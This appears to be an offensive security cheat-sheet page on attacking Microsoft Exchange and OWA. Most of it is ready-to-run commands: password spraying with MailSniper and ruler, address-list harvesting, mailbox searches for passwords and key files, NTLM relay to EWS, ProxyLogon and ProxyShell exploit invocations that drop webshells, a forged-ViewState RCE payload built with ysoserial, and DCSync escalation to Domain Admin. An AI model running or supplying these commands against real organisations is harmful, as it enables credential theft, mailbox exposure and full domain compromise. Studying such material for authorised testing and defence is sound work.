Service bank
DIRECTORY / AD 25/tcp 80/tcp 443/tcp 587/tcp

Exchange / OWA Attacks

aka OWA, Exchange Server, EWS, ProxyLogon, ProxyShell, MailSniper

Microsoft Exchange attack surface: OWA password spraying, NTLM relay to EWS, MailSniper mailbox search, GAL enumeration, ProxyLogon/ProxyShell CVEs, Exchange privilege escalation via Organisation Management group, and Exchange→DA escalation paths.

Ports

PortProtoNotes
25tcpSMTP
80tcpHTTP redirect to HTTPS
443tcpHTTPS — OWA, EWS, ECP, autodiscover
587tcpSMTP submission

Fingerprint

  • nmap --script http-auth-info finds OWA at /owa/ and ECP at /ecp/
  • NTLM authentication banner leaks internal domain name and hostname via /owa/
  • EWS endpoint at /EWS/Exchange.asmx

Key files

PathHoldsSensitive
/owa/ login page NTLM auth banner leaks domain/hostname
Exchange mailboxes credentials, SSH keys, confidential docs in email sensitive
GAL (Global Address List) all email addresses in the organisation sensitive

Known CVEs

CVEImpact
CVE-2021-26855ProxyLogon — pre-auth SSRF → RCE on Exchange
CVE-2021-34473ProxyShell — pre-auth remote code execution
CVE-2020-0688Static validation key → authenticated RCE

Exploitation primitives

  • NTLM relay to EWS for mailbox access without knowing the password
  • GAL download provides a full employee email list for phishing/spraying
  • Organisation Management group membership = path to Domain Admin
  • MailSniper searches mailboxes for keywords: password, credential, vpn, secret

Discovery and Fingerprinting

# Discover Exchange over nmap
nmap -p 80,443 --script http-auth-info,http-title TARGET

# Manual — check for OWA/ECP
curl -sk https://TARGET/owa/ | head -50
curl -sk https://TARGET/ecp/ | head -50
curl -sk https://TARGET/autodiscover/autodiscover.xml | head -30

# Grab NTLM auth banner (leaks domain + hostname)
curl -sk https://TARGET/owa/auth/owaauth.dll -D - | grep -i "www-authenticate"
# Or via:
python3 /opt/MailSniper/Invoke-DomainHarvestOWA.ps1

OWA Password Spraying

# MailSniper (PowerShell)
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!' -OutFile spray_results.txt

# With multiple passwords (slow spray to avoid lockout)
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!' -Threads 5

# EWS spray
Invoke-PasswordSprayEWS -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!'
# Python — ruler tool
ruler --domain domain.local --username user --password 'Welcome1!' --brute --users users.txt

GAL (Global Address List) Enumeration

The GAL contains every email address in the organisation — useful for phishing and username collection.

# MailSniper — harvest GAL (no mailbox access needed, just valid AD creds)
Get-GlobalAddressList -ExchHostname EXCHANGE_IP -UserName DOMAIN\user -Password pass -OutFile gal.txt

# From Outlook Web Access (after login)
# Settings → Address Book → All Users

Mailbox Search (MailSniper)

After obtaining valid credentials, search mailboxes for sensitive content:

# Import MailSniper
Import-Module .\MailSniper.ps1

# Search own mailbox
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname EXCHANGE_IP -Terms "password","credential","vpn","key"

# Search all mailboxes (requires Exchange admin or impersonation rights)
Invoke-GlobalMailSearch -ImpersonationAccount admin@domain.com -ExchHostname EXCHANGE_IP -Terms "password" -OutputCsv results.csv

# Find emails with attachments
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname EXCHANGE_IP -Terms "*.kdbx","*.pem","*.pfx"

NTLM Relay to EWS

Exchange Web Services (EWS) accepts NTLM authentication. Relay a captured NTLM hash to read email.

# Relay to EWS endpoint
ntlmrelayx.py -t https://EXCHANGE_IP/EWS/Exchange.asmx -smb2support --no-http-server

# Coerce victim NTLM auth via Responder or file share trick
# After relay: ntlmrelayx saves cookies/tokens for mailbox access

ProxyLogon (CVE-2021-26855)

Pre-authentication SSRF that reads internal Exchange backend resources. Chains with CVE-2021-27065 for webshell write.

# Check if vulnerable
curl -sk "https://TARGET/ecp/y.js?__VIEWSTATEGENERATOR=CA0B0334&__VIEWSTATE=/wEPDw8WAQ8WAmYPFgIeBXN0eQ==" \
  -H "Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3"

# PoC exploit
python3 proxylogon.py EXCHANGE_IP user@domain.com

ProxyShell (CVE-2021-34473 + 34523 + 31207)

Pre-auth remote code execution via autodiscover endpoint.

# Check
python3 proxyshell.py -u https://TARGET -e admin@domain.com

# Exploit — drops webshell
python3 proxyshell.py -u https://TARGET -e admin@domain.com -s shell.aspx

CVE-2020-0688 — Static Validation Key

Exchange servers shipped with a static validationKey and decryptionKey in web.config. An authenticated user can forge a ViewState to get RCE.

# Requires: valid OWA credentials
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell -enc BASE64" \
  --validationalg="SHA1" \
  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"

# POST the forged ViewState to /ecp/default.aspx

Exchange → Domain Admin Escalation

Organisation Management group

# Check if you have access to Exchange management
Get-DomainGroupMember -Identity 'Organization Management' -Recurse
Get-DomainGroupMember -Identity 'Exchange Windows Permissions' -Recurse

# The 'Exchange Windows Permissions' group has WriteDACL on the domain object
# Use it to grant yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity 'Exchange Windows Permissions' -Rights DCSync

Exchange Trusted Subsystem

# Exchange Trusted Subsystem has Write permission on all AD objects
# If you control an Exchange server or service account in this group:
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity 'Exchange Trusted Subsystem' -Rights DCSync

Ruler — Exchange Tools

# Home page discovery
ruler --domain domain.local autodiscover

# Password spray
ruler --domain domain.local --username user --password pass --brute --users users.txt

# Remote rule creation (Outlook Home Page macro)
ruler --email user@domain.local --username user --password pass \
  --url https://EXCHANGE_IP/EWS/Exchange.asmx \
  form add --suffix test --input homepage.html --output form.msg --send

References